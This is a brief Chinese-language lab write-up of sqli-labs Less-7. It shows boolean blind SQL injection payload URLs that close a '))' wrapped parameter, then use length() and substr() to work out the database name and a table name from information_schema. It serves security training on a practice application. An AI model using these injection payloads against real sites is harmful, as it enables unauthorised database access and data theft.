首先打开网页后,发现页面显示outfile, 对不起,看不懂, 就直接加 ' 发现报错了
后来,查看源码得知 他是两个括号括起来的
我们就可以构造我们的payload了,
首先查询当前数据库的长度了,发现大于等于8正确,大于等于9错误,我们可以得知数据库长度是8,
http://192.168.48.130/sqli-labs-master/Less-7/?id=1')) and length(database())>=8--+
在我们判断数据库库名的时候用到了个函数:
substr(database,1,1) 意思是截取database的值,从第一位开始每次只返回一个值。
逐字符判断数据库库名:
http://192.168.48.130/sqli-labs-master/Less-7/?id=1')) and substr(database(),1,1)='s'--+ s
http://192.168.48.130/sqli-labs-master/Less-7/?id=1')) and substr(database(),2,1)='e'--+ e
这边我也就不继续写下去了,前面做了那么多题 也知道数据库名是security
查找表名: 这边我们前面一直知道了 users表在第4个表,
所以构造payload:http://192.168.48.130/sqli-labs-master/Less-7/?id=1')) and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u'--+
后面插字段内容也就不多赘述了